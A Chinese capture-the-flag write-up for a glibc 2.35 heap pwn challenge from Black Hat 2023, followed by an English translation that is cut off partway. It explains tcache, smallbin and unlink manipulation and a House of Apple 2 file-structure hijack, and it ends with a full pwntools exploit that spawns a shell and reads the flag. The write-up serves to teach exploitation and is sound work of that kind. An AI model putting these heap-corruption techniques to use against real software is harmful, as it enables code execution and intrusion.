前言
这个是 2023 black hat 第二天的一道 0 解 pwn 题
https://gitee.com/csomebro/ctftask/blob/master/2023-11_BlackHat/houseofminho.zip
题目
出题人很友好的给了源码
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>
#define SIZE_SMALL 0x40#define SIZE_BIG 0x80
char *g_buf;
int getint(const char *msg) { int val; printf("%s", msg); if (scanf("%d%*c", &val) != 1) exit(1); return val;}
int main() { setvbuf(stdout, NULL, _IONBF, 0);
while (1) { puts("1. new\n2. show\n3. delete"); switch (getint("> ")) { case 1: { /* new */ if (g_buf) { puts("[-] Buffer in use"); break; }
if (getint("Size [1=small / 2=big]: ") == 1) { g_buf = (char*)malloc(SIZE_SMALL); } else { g_buf = (char*)malloc(SIZE_BIG); }
printf("Data: "); read(STDIN_FILENO, g_buf, SIZE_BIG); g_buf[strcspn(g_buf, "\n")] = '\0'; break; }
case 2: { /* show */ if (!g_buf) { puts("[-] Empty buffer"); } else { printf("Data: %s\n", g_buf); } break; }
case 3: { /* delete */ if (!g_buf) { puts("[-] Empty buffer"); } else { free(g_buf); g_buf = NULL; } break; }
default: puts("[+] Bye!"); return 0; } }}题面十分的简短,主要实现了三个功能,分别为
- add 功能,可以申请
malloc(0x80)以及malloc(0x40),无论申请哪一个,都会read(0, g_buf, 0x80) - show 功能,直接打印
g_buf - free 功能,
free(g_buf)之后,清空g_buf
Glibc 版本 为 2.35-3.1
漏洞
显而易见,漏洞就在 add 功能中read(0, g_buf, 0x80),但是局限十分多
- 申请堆块的大小被严格限制,只有 0x40 和 0x80 两种申请
- 可以保存的堆块仅仅只有一块,也就是如果需要再次 malloc,必须先 free
那么会带来什么问题呢?
首先 glibc 2.35 已经限制了 tcache bin 内的 chunk 不能多 malloc 一次,也就是如果对应位置的 count 为 0,就不会申请出来,这就否定了直接溢出修改 fd 导致任意地址申请的方法
p = malloc(0x40)free(p)p = malloc(0x80)free(p)p = malloc(0x40) // 重新申请回上述的0x40块read(0, p, 0x80) // 溢出写入到下方的0x80块的fd,并修改size改小free(p)p = malloc(0x80)free(p) // 由于上文改小了size,那么这里释放的时候就不会进入0x90的管理p = malloc(0x80) // 此时再次申请,如果低版本的tcache就可以申请出任意地址,但是2.35不行** 上述的做法是行不通的!** 上述操作之后,0x90 管理的位置 count 已经为 0 了,所以下次 malloc (0x80) 就不会从 0x90 的 tcache 取出,无法达成任意地址申请

但是上述做法给了一个思路,我们可以通过多次 free 再次 malloc 0x40 就可以申请回来第一个堆块,并写入 0x80 长度,这个溢出很稳定,以及我们可以修改下一个堆块大小,使得绕过 tcache 多次申请 0x90 的堆块,那么现在我们需要修改 tcachebin 管理 0x90 的 count 值,使得可以任意地址申请。但是这个很难做到,怎么做呢?请读者继续往下看。
信息收集
如何泄露 libc?如何泄露堆地址?
泄露 Libc 地址
首先我们需要使用 House of orange 的一个技巧,将 Top Chunk 的 size 改小,然后申请一个大的堆块就可以把,Top Chunk 放入 Unsorted bin 内,之后利用溢出覆盖 size 就可以泄露 libc 地址了。
但是这里有一个极大的问题!Top chunk 需要对其 0x1000,但是已有的堆 + 0x40 或者 0x80 都不可能对齐 0x1000,怎么办?
这里需要提到在没有 setbuf (stdin,0); 的情况下,scanf 的输入长文本,回调用 malloc、realloc、free,其中如果 scanf 输入数据大小为 0x1000,那么会产生一下调用
p = malloc(0x800);p = realloc(p, 0x1000);p = realloc(p, 0x2000);free(p)那么我们就可以完成 Top Chunk 的攻击了,以下是泄露 libc 的 exp,并修复损坏的 size
add(1, b"a" * 0x48 + p64(0xd11))show2(0x1000)free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0log.success(f"libc_base : {libc_base:#x}")free()add(1, b"a" * 0x48 + p64(0xcf1))此时堆块的布局如下

为何下方有 0x10 的两个块呢?那就需要了解一下 unsortedbin 的检查
在_int_malloc中有这么一串代码
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; size = chunksize (victim); mchunkptr next = chunk_at_offset (victim, size);
if (__glibc_unlikely (size <= CHUNK_HDR_SZ) || __glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): invalid size (unsorted)"); if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) || __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) malloc_printerr ("malloc(): invalid next size (unsorted)"); if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); if (__glibc_unlikely (bck->fd != victim) || __glibc_unlikely (victim->fd != unsorted_chunks (av))) malloc_printerr ("malloc(): unsorted double linked list corrupted"); if (__glibc_unlikely (prev_inuse (next))) malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");总结一下就是
- 检查当前 unsorted bin 内的块
size位是不是合法的,是否满足0x10 <= size <= system_mem - 检查当前块下物理地址相邻的下一块
size是不是合法的,是否满足0x10 <= size <= system_mem - 检查物理地址相邻的下一块
size的prev_size是否和自己的size相等 - 检查当前指针的
bck->fd是否等于自己,以及自己的fd是否是main_arena内的一个特定地址 - 最后检查物理地址相邻的下一块的
prev_inuse是不是0
那么如果正常逻辑下 Top Chunk 被 free 到 unsorted bin,说明当前内存应该全部分配完了,如果原封不动直接放到 unsorted bin 内,就会触发上述第 2、3、5 的检查不合法或者溢出,所以为了防止这个事情发生,就需要在下方设置两个小哨兵块,A 块的作用是满足上述第 2、3、5 的检查,设置 prev_size 等关键数据,而B 块的作用是防止 A 块发生 unlink 合并,B 块的prev_inuse标志是 1,代表 A 块是使用中,所以不会发生 unlink,否则 unlink 会报错(试想一下,如果没有 B 块,那么 A 块没有被使用的,如果申请一个刚好大小为当前 unsortbin 的块,再释放,那么就会触发向前合并 unlink,之后由于 A 块的 fd 和 bk 指针问题,导致程序 crash)

到这里,我们压一下脑栈,上述的 unsorted bin 布局,后文会使用到,我们回到泄露上
泄露 heap 地址
泄露 heap 地址相对简单,直接 free 当前堆块后,由于 tcache bin 的 fd 指针具有REVEAL_PTR的保护,所以 Tcache bin 的第一块由于 fd 是 0,但是被加密之后会变成0 ^ (heap_adde >> 12)的值,故可以直接泄露堆地址
#define PROTECT_PTR(pos, ptr) \ ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)泄露并修复的 exp 如下(当前 exp 衔接泄露 libc 的)
... # 衔接上文泄露libcfree()add(2, b"a")free()add(1, b"aaaa")free()add(2, b"aaaa")free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12log.success(f"heap_base : {heap_base:#x}")# 一下两行仅仅作为临时修复,使得堆布局好看一点,正式攻击可以删除free()add(1, b"a" * 0x40 + p64(0) + p64(0x91))此时 heap 地址、Libc 地址信息已经收集完毕!我们来看看现在堆长什么样子

当前我们可控的堆块已经标注在图中,为啥叫做可控呢?因为由于 tcache 的原因,以及我们只能拥有一个堆块,所以 free malloc 交替进行我们只能控制这两个区域内存(?这两个区域内存我们应该如何做文章呢?请读者压一压脑栈继续往下看。)

利用攻击
信息收集终于结束了,堆也变成了不认识的样子,那么我们攻击的入口在哪里呢?
Small bin -> Tcache bin
答案是Small bin!
为何选用 Small bin 呢?阅读源码我们可以知道,Small bin 是有机会进入 Tcache 的,什么时机进入呢?在 malloc 中如果命中了 Small bin 某个大小的管理,那么就会将这个大小内的剩下所有块依次取出,放入 Tcache 内,直至填满 Tcache
if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx);
if ((victim = last (bin)) != bin) { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted"); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin;
if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb);#if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache != NULL && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin;
tcache_put (tc_victim, tc_idx); // !!!!!! 注意这里 放入了tcache内 } } }#endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }也就是代码中的这个部分,下面代码中,bin 就是当前 small bin 的位置,通过 bk 索引,反向查找,对于每一个 Chunk 依次解链,放入了 Tcache bin 中
while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin;
tcache_put (tc_victim, tc_idx); // !!!!!! 注意这里 放入了tcache内 } }}目标明确,那么命中 small bin 需要先绕过 Tcache,也就是当前Tcache[0x90]不能有 free 的堆块,以及需要一次malloc(0x80),那么我们伪造的 small bin 大小也需要是 0x90
伪造 Small bin(0x90)可行性讨论
如何伪造一个 0x90 大小的 Small bin 呢?进入 Small bin 可以从 Unsorted bin 进入,如何进入呢?
- 当前 Unsorted bin 中有一个 0x90 大小的堆块空闲
- malloc 一次大于 0x90 大小的堆块
size >= 0x90 && malloc(size),且不能命中 Tcache
条件 2 比较简单满足,依旧是 scanf 利用
对于我们现在的堆块布局来说,我们仅仅只能控制 0x90 堆块 size 位(看上文的泄露后堆布局情况图片),这个位置能做什么文章呢?那么答案十分明朗:伪造 Unsorted bin!
我们先讨论一下,是否可行,我们能溢出可控空间为0x80-0x40=0x40,这个 0x40 大小的空间包括了下一个堆块的prev_size和size位置,以及堆块内容部分。假设我们能修改上图中 0x90 堆块的 size 位置改大,并能成功 free,那么就会进入 unsorted bin 中,如果此时构造我们无法完成两块小哨兵块的布置,因为需要如下的布局
| prev_size | size | +--------------------+0x00 | | 0x50 |0x10 | | | -- 可控起始位置 +--------------------+ <- Unsorted bin0x50 | | 0x91 |0x90 | | |0xD0 | | | -- 可控终止位置 +--------------------+0xE0 | | 0x10 | -- Chunk A +--------------------+0xF0 | | 0x11 | -- Chunk B +--------------------+(可控地址指的是,我们可以通过 malloc (0x40) 向后写 0x80 字节,以及 malloc (0x80) 也能写 0x80 字节,上面例子也就是总长度可控为0x80*2-0x40=0xC0)
但是可控空间完全不够布置下面的 Chunk AB,要怎么办呢?我们需要可控多长呢?
在绞尽脑汁几个小时之后,我注意到了我们貌似浪费了 0x50 堆块中的 0x40 长度的大小。怎么办呢?
Unlink 扩展溢出距离
这里我们可以利用 Unlink 手法,使得 Unsorted bin 向前合并,首先我们构造如下的布局
| prev_size | size | +------------------------+0x00 | | 0x50 |0x10 | fd | bk | -- 可控起始位置0x20 | | 0x31 |0x30 | fake fd | fake bk | +------------------------+0x50 | 0x30 | 0x?0 | -- 这里的prev_inuse设置为00x90 | | |0xD0 | | | -- 可控终止位置 +------------------------+使得在 free 掉下方堆块的时候可以向后合并,这样子就可以完成溢出可控距离的扩展
那么这个时候再来讨论一下可控长度,我们此时修改 Unsorted bin 内的布局,此时我们发现可控距离完全足够进行布局了!
| prev_size | size | +------------------------+0x00 | | 0x50 |0x10 | fd | bk | -- 可控起始位置 +------------------------+0x20 | | 0x91 | <- Unsorted bin0x90 | | | +------------------------+0xB0 | | 0x10 | -- Chunk A +------------------------+0xC0 | | 0x11 | -- Chunk B +------------------------+0xD0 | | | -- 可控终止位置(仔细观察上面三个布局演示,可控起始和终止的偏移从未变化,仅仅通过 Unlink 之后利用率提高了)
如何实现 Unlink?
只需要满足下面的条件
p->fd = p;p->bk = p;next(p)->prev_inuse = 0;next(p)->prev_size = p->size;绕过源码中,下面这个检查
mchunkptr fd = p->fd; mchunkptr bk = p->bk; if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) malloc_printerr ("corrupted double-linked list");但是但是,现在还有一个问题,实现 unlink 攻击,需要 free 掉一个大的堆块进入 Unsorted bin 内,也就是说,我们需要修改原来 0x90 堆块的 size 改大,并需要满足 free 的 Unsorted bin 检查,也就是,尽量不要进入向前合并流程(因为我们本来可控的空间就只有上面的[0x10,0xD0]),那么需要如何做呢?请读者再压下脑栈,马上就要串起来了,继续往下看!
伪造 Unsorted bin
我们再次回顾一下当前的堆布局,可以看到当前 unsorted bin 下方有一个 0x10 和 0x11 的堆块,那么我们假设,如果有某种方法,使得 0x90 这个堆块覆盖成以下的红色框框圈起来呢?并且是否有方法让下方 0x11 堆块之后的 prev_inuse 变成 1 呢?(为何要为 1,因为要防止合并)

什么时候能修改最下方堆块的内容呢?答案是还是scanf!
scanf 的缓冲区会申请再堆内,那我如果缓冲区足够大是否能够刚好往 0x11 堆块的后面 size 内写入一些数据呢?写入多少呢?
0x33!!!因为这个 ascii 字符是3,也就是选择 free 的菜单选项,什么时候写入呢?当然是最最最开始的时候,堆十分 “干净” 的时候啦
那么经过测试,再所有操作之前输入 0xd58 个字符 0 以及一个字符 3 即可
def free3(len): io.sendlineafter(b"> ", b"0" * (len-1) + b"3")
free3(0xd59) # 这里就是污染0x11堆块之后的堆块的size位置add(1, b"a" * 0x48 + p64(0xd11))show2(0x1000)free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0log.success(f"libc_base : {libc_base:#x}")free()add(1, b"a" * 0x48 + p64(0xcf1))
free()add(2, b"a")free()add(1, b"aaaa")free()add(2, b"aaaa")free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12log.success(f"heap_base : {heap_base:#x}")free()add(1, b"a" * 0x40 + p64(0) + p64(0x91))让我们再看看堆块长什么样子了

WoW!!成功污染!那么我们就能成功伪造 Unsorted bin 了,稍微微调以下代码可以得到
free3(0xd59)add(1, b"a" * 0x48 + p64(0xd11))show2(0x1000)free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0log.success(f"libc_base : {libc_base:#x}")free()add(1, b"a" * 0x48 + p64(0xcf1))
free()add(2, b"a")free()add(1, b"aaaa")free()add(2, b"aaaa")free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12log.success(f"heap_base : {heap_base:#x}")free()# 这里微调了0x90堆块的size位置,不再是修复而是伪造add(1, b"a" * 0x40 + p64(0) + p64(0xd01))free()add(2, b"aaaa")free()此时我们可以看到 unsorted bin 内如愿以偿的放入了我们的 Fake Chunk!

Unlink 攻击以及 Smallbin 伪造攻击实施
感谢你耐心看到这里,相信你现在脑栈已经快爆了,终于我们迎来了弹出脑栈的步骤了
将上文的 Unlink 攻击实施,微调 Exp 可以得到如下
free3(0xd59)add(1, b"a" * 0x48 + p64(0xd11))show2(0x1000)free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0log.success(f"libc_base : {libc_base:#x}")free()add(1, b"a" * 0x48 + p64(0xcf1))
free()add(2, b"a")free()add(1, b"aaaa")free()add(2, b"aaaa")free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12log.success(f"heap_base : {heap_base:#x}")free()# 这里修改了unlink攻击的内容add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))free()add(2, b"aaaa")free()此时堆块就不那么好看了。

如此查看我们可以发现 unlink 成功实施了,Unsorted bin 内第一个堆块从 0xd00 变成了 0xd30
那么继续我们将伪造 Small bin 的攻击实施,再次微调 Exp
free3(0xd59)add(1, b"a" * 0x48 + p64(0xd11))show2(0x1000)free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0log.success(f"libc_base : {libc_base:#x}")free()add(1, b"a" * 0x48 + p64(0xcf1))
free()add(2, b"a")free()add(1, b"aaaa")free()add(2, b"aaaa")free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12log.success(f"heap_base : {heap_base:#x}")free()add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))free()# 这次微调了这里,加入了上文提到的Chunk AB的布置add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))free()# 这里就开始修改Unsorted bin内容,使得在Unsorted bin内伪造一个Small bin大小的堆块add(1, flat({ 0x10: 0, 0x18: 0x91, 0x20: heap_base + 0x380, 0x28: libc_base + 0x219ce0,}, filler=b"\x00"))show2(0x1000) # 这里触发使得Unsorted bin进入Samll binfree()让我们再次检验堆块的结构!完美成功进入了 Small bin!!!

那么接下来我们就要开始在 Small bin 里面伪造一条多个 0x90 的链条,使得再次 malloc (0x80) 命中 small bin 的时候,放入 Tcache bin 中
修改 Small bin
首先我们需要知道我们能改动多长?0x80 长度,然而除去 tcache bin 的 fd 和 bk 位置,仅剩下 0x70 长度可以可控,也就是说,我们需要在 0x70 的长度中尽可能多的伪造 0x90 堆块,并串起来
我们仅仅只能伪造 3 个 0x90 的堆块,如何伪造?
可以参考如下图的伪造方法,可以看到这里 bk 连线串成了一条链

注意红色 Chunk 位置的 fd 设置,需要绕过 small bin 中的检查(下面源码),而黄色的绿色的 fd 是否需要设置,留给读者们讨论
if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted");那么稍微微调一下 exp
free3(0xd59)add(1, b"a" * 0x48 + p64(0xd11))show2(0x1000)free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0log.success(f"libc_base : {libc_base:#x}")free()add(1, b"a" * 0x48 + p64(0xcf1))
free()add(2, b"a")free()add(1, b"aaaa")free()add(2, b"aaaa")free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12log.success(f"heap_base : {heap_base:#x}")free()add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))free()add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))free()add(1, flat({ 0x10: 0, 0x18: 0x91, 0x20: heap_base + 0x380, 0x28: libc_base + 0x219ce0,}, filler=b"\x00"))show2(0x1000)free()
# 这里加上了Small bin的伪造add(1, flat({ 0x10 : { 0x00: 0, 0x08: 0x91, 0x10: heap_base + 0x2c0, 0x18: heap_base + 0x2c0 + 0x30,
0x30: 0, 0x38: 0x91, 0x40: heap_base + 0x2c0, 0x48: heap_base + 0x2c0 + 0x50,
0x50: 0, 0x58: 0x91, 0x60: heap_base + 0x2c0 + 0x30, 0x68: libc_base + 0x219d60 } }, filler=b"\x00"))free()此时堆布局如下

可以看到出现了错误,不过问题不大,源码时通过 BK 进行遍历的,在 BK 位置确实出现了 3 个 Chunk
此时我们就可以 malloc (0x80) 命中一次 Small bin 的 0x90
add(2, b"aaaa")free()那么此时堆块就会变成,下面这样!WoW,我们可以控制 Tcache bin 0x90 位置的 fd 指针!并且此时 0x90 位置的 Count 有 3!!!

胜利的曙光就在眼前了,接下来是 House of apple 2 登场!
House of Apple 2
House of Apple 2 的教程见https://bbs.kanxue.com/thread-273832.htm,这里膜拜一下 Orz
经过我的调优可以简化到如下的布局
system = 0x50d60 + libc_basefake_file = flat({ 0x0: b" sh;", 0x28: system, 0xa0: fake_file_addr-0x10, # wide data 0x88: fake_file_addr+0x100, # 可写,且内存为0即可 0xD0: fake_file_addr+0x28-0x68, # wide data vtable 0xD8: libc_base + 0x2160C0, # vtable}, filler=b"\x00")我们需要结合当前的情况在做调整,首先我们需要再次延长可控的空间,方法也简单,毕竟 Tcache bin 的 Count 有 3,我们可以先伪造一次 fd 到堆上,再伪造进入_IO_list_all
(为何不劫持 Tcache bin 管理块呢?因为我们只能拥有一个堆块,需要 free 之后再次 malloc 才能控制下一个,一旦劫持到 Tcachebin 管理块,没有一个合适的 size 位置,是无法成功 free 的)
由于大小范围可控需要 0xe0 长度,所以我们第一个堆块需要扩展一次,使用上面的 0x50 的堆块对下面 0x90tcache 的溢出修改,使得布局如下图,这样子 Chunk 1 申请出来的时候,可以保证能控制到 Chunk 2 的 fd,依旧能继续攻击,也能延长可控范围到 0xf0,使得攻击成立,而 Chunk 1 的 size 改为 0x71 是为了防止 free 之后进入 0x90 导致后面的 Chunk 无法取出

那么经过简单的布置,最终攻击_IO_list_all之后,就完成了 House of Apple 2 的攻击
完整 Exp
from pwn import *
context.log_level = 'info'context.arch = 'amd64'# io = process("./minho")io = remote("127.0.0.1", 5000)tob = lambda x: str(x).encode()
def add(size, content): io.sendlineafter(b"> ", b"1") io.sendlineafter(b"Size [1=small / 2=big]: ", tob(size)) io.sendafter(b"Data: ", content)
def add2(size_content, content): io.sendlineafter(b"> ", b"1") io.sendlineafter(b"Size [1=small / 2=big]: ", size_content) io.sendafter(b"Data: ", content)
def show(): io.sendlineafter(b"> ", b"2")
def show2(len): io.sendlineafter(b"> ", b"0" * (len-1) + b"2")
def show3(len): io.sendlineafter(b"> ", b"0" * (len-1) + b"2" + b"\x00")
def free(): io.sendlineafter(b"> ", b"3")
def free3(len): io.sendlineafter(b"> ", b"0" * (len-1) + b"3")
free3(0xd59) # 这一行的作用见上文【伪造Unsorted bin】
# 这一部分信息收集见上文【信息收集】add(1, b"a" * 0x48 + p64(0xd11))show2(0x1000)free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0log.success(f"libc_base : {libc_base:#x}")free()add(1, b"a" * 0x48 + p64(0xcf1))
free()add(2, b"a")free()add(1, b"aaaa")free()add(2, b"aaaa")free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)heap_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) << 12log.success(f"heap_base : {heap_base:#x}")free()
# 见上文【Unlink攻击以及Smallbin伪造攻击实施】add(1, b"a" * 0x10 + p64(0) + p64(0x31) + p64(heap_base+0x2c0) * 2 + b"a" * 0x10 + p64(0x30) + p64(0xd00))free()add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0x00) + p64(0x11))free()add(1, flat({ 0x10: 0, 0x18: 0x91, 0x20: heap_base + 0x380, 0x28: libc_base + 0x219ce0,}, filler=b"\x00"))
show2(0x1000)free()
# 见上文【修改Small bin】add(1, flat({ 0x10 : { 0x00: 0, 0x08: 0x91, 0x10: heap_base + 0x2c0, 0x18: heap_base + 0x2c0 + 0x30,
0x30: 0, 0x38: 0x91, 0x40: heap_base + 0x2c0, 0x48: heap_base + 0x2c0 + 0x50,
0x50: 0, 0x58: 0x91, 0x60: heap_base + 0x2c0 + 0x30, 0x68: libc_base + 0x219d60 } }, filler=b"\x00"))free()add(2, b"aaaa")free()_IO_list_all = libc_base + 0x21a680system = 0x50d60 + libc_base
fake_file = heap_base + 0x2e0# 见上文House of apple 2中解释add(1, b"a"*0x10+p64(0) + p64(0x71) + p64((heap_base + 0x2d0 + 0x70)^((heap_base)>>12)))free()# 这里是布置House of apple 2add(2, flat({ 0x0+0x10: b" sh;", 0x28+0x10: system, 0x68: 0x71, 0x70: _IO_list_all ^((heap_base)>>12),}, filler=b"\x00"))free()add(2, flat({ 0xa0-0x60: fake_file-0x10, 0xd0-0x60: fake_file+0x28-0x68, 0xD8-0x60: libc_base + 0x2160C0, # jumptable}, filler=b"\x00"))free()add(2, p64(fake_file))pause(1)io.sendline(b"0")pause(1)io.sendline(b"cat /flag*")
io.interactive()
Flag 获得完结撒花!
Translate by Kimi-K3
Preface
This is a 0-solve pwn challenge from day 2 of Black Hat 2023.
https://gitee.com/csomebro/ctftask/blob/master/2023-11_BlackHat/houseofminho.zip
The Challenge
The challenge author kindly provided the source code.
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>
#define SIZE_SMALL 0x40#define SIZE_BIG 0x80
char *g_buf;
int getint(const char *msg) { int val; printf("%s", msg); if (scanf("%d%*c", &val) != 1) exit(1); return val;}
int main() { setvbuf(stdout, NULL, _IONBF, 0);
while (1) { puts("1. new\n2. show\n3. delete"); switch (getint("> ")) { case 1: { /* new */ if (g_buf) { puts("[-] Buffer in use"); break; }
if (getint("Size [1=small / 2=big]: ") == 1) { g_buf = (char*)malloc(SIZE_SMALL); } else { g_buf = (char*)malloc(SIZE_BIG); }
printf("Data: "); read(STDIN_FILENO, g_buf, SIZE_BIG); g_buf[strcspn(g_buf, "\n")] = '\0'; break; }
case 2: { /* show */ if (!g_buf) { puts("[-] Empty buffer"); } else { printf("Data: %s\n", g_buf); } break; }
case 3: { /* delete */ if (!g_buf) { puts("[-] Empty buffer"); } else { free(g_buf); g_buf = NULL; } break; }
default: puts("[+] Bye!"); return 0; } }}The program is very short and implements three main features:
- The add feature, which can request
malloc(0x80)ormalloc(0x40). Regardless of which one is requested, it always doesread(0, g_buf, 0x80). - The show feature, which directly prints
g_buf. - The free feature, which calls
free(g_buf)and then clearsg_buf.
The glibc version is 2.35-3.1.
The Vulnerability
Obviously, the vulnerability lies in the read(0, g_buf, 0x80) in the add feature, but it comes with many limitations:
- The size of the allocated chunk is strictly limited — only 0x40 and 0x80 allocations are possible.
- Only one chunk can be held at a time; if you want to malloc again, you must free first.
So what problems does this cause?
First, glibc 2.35 already prevents a chunk in the tcache bin from being malloc’d one extra time — that is, if the count at the corresponding slot is 0, it won’t be allocated out. This rules out the method of directly overflowing into fd to achieve arbitrary allocation.
p = malloc(0x40)free(p)p = malloc(0x80)free(p)p = malloc(0x40) // re-allocate the 0x40 chunk aboveread(0, p, 0x80) // overflow into the fd of the 0x80 chunk below, and shrink its sizefree(p)p = malloc(0x80)free(p) // since the size was shrunk above, freeing it here won't go into the 0x90 binp = malloc(0x80) // allocating again here would give an arbitrary address on older tcache versions, but not on 2.35The approach above does not work! After the operations above, the count at the 0x90 slot is already 0, so the next malloc(0x80) will not take from the 0x90 tcache, and arbitrary allocation cannot be achieved.

However, the approach above gives us an idea: by freeing multiple times and malloc’ing 0x40 again, we can get back the first chunk and write 0x80 bytes — this overflow is very reliable. Moreover, we can modify the size of the next chunk to bypass the tcache and allocate the 0x90 chunk multiple times. Now we need to modify the count value of the tcache bin managing 0x90, so that arbitrary allocation becomes possible. But this is very hard to do. How? Dear reader, keep reading.
Information Gathering
How do we leak libc? How do we leak the heap address?
Leaking the Libc Address
First, we need to use a House of Orange technique: shrink the size of the Top Chunk, then request a large chunk so that the Top Chunk gets placed into the unsorted bin. Afterwards, we can use the overflow to overwrite the size and leak the libc address.
But there’s a huge problem here! The Top Chunk needs to be 0x1000-aligned, and the existing heap plus 0x40 or 0x80 can never be aligned to 0x1000. What can we do?
Here we need to mention that without setbuf(stdin, 0);, when scanf reads a long input, it internally calls malloc, realloc, and free. If the scanf input data is 0x1000 bytes in size, the following calls occur:
p = malloc(0x800);p = realloc(p, 0x1000);p = realloc(p, 0x2000);free(p)With this we can carry out the Top Chunk attack. Below is the exp for leaking libc, which also repairs the corrupted size:
add(1, b"a" * 0x48 + p64(0xd11))show2(0x1000)free()add(1, b"a" * 0x50)show()io.recvuntil(b"Data: " + b"a" * 0x50)libc_base = u64(io.recvuntil(b"\n", drop=True).ljust(8, b"\x00")) - 0x219ce0log.success(f"libc_base : {libc_base:#x}")free()add(1, b"a" * 0x48 + p64(0xcf1))The heap layout at this point is as follows:

Why are there two 0x10 chunks below? To understand that, we need to look at the unsorted bin checks.
In _int_malloc there is this piece of code:
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; size = chunksize (victim); mchunkptr next = chunk_at_offset (victim, size);
if (__glibc_unlikely (size <= CHUNK_HDR_SZ) || __glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): invalid size (unsorted)"); if (__glibc_unlikely (chunksize_nomask (next) < CHUNK_HDR_SZ) || __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) malloc_printerr ("malloc(): invalid next size (unsorted)"); if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); if (__glibc_unlikely (bck->fd != victim) || __glibc_unlikely (victim->fd != unsorted_chunks (av))) malloc_printerr ("malloc(): unsorted double linked list corrupted"); if (__glibc_unlikely (prev_inuse (next))) malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");To summarize:
- Check whether the
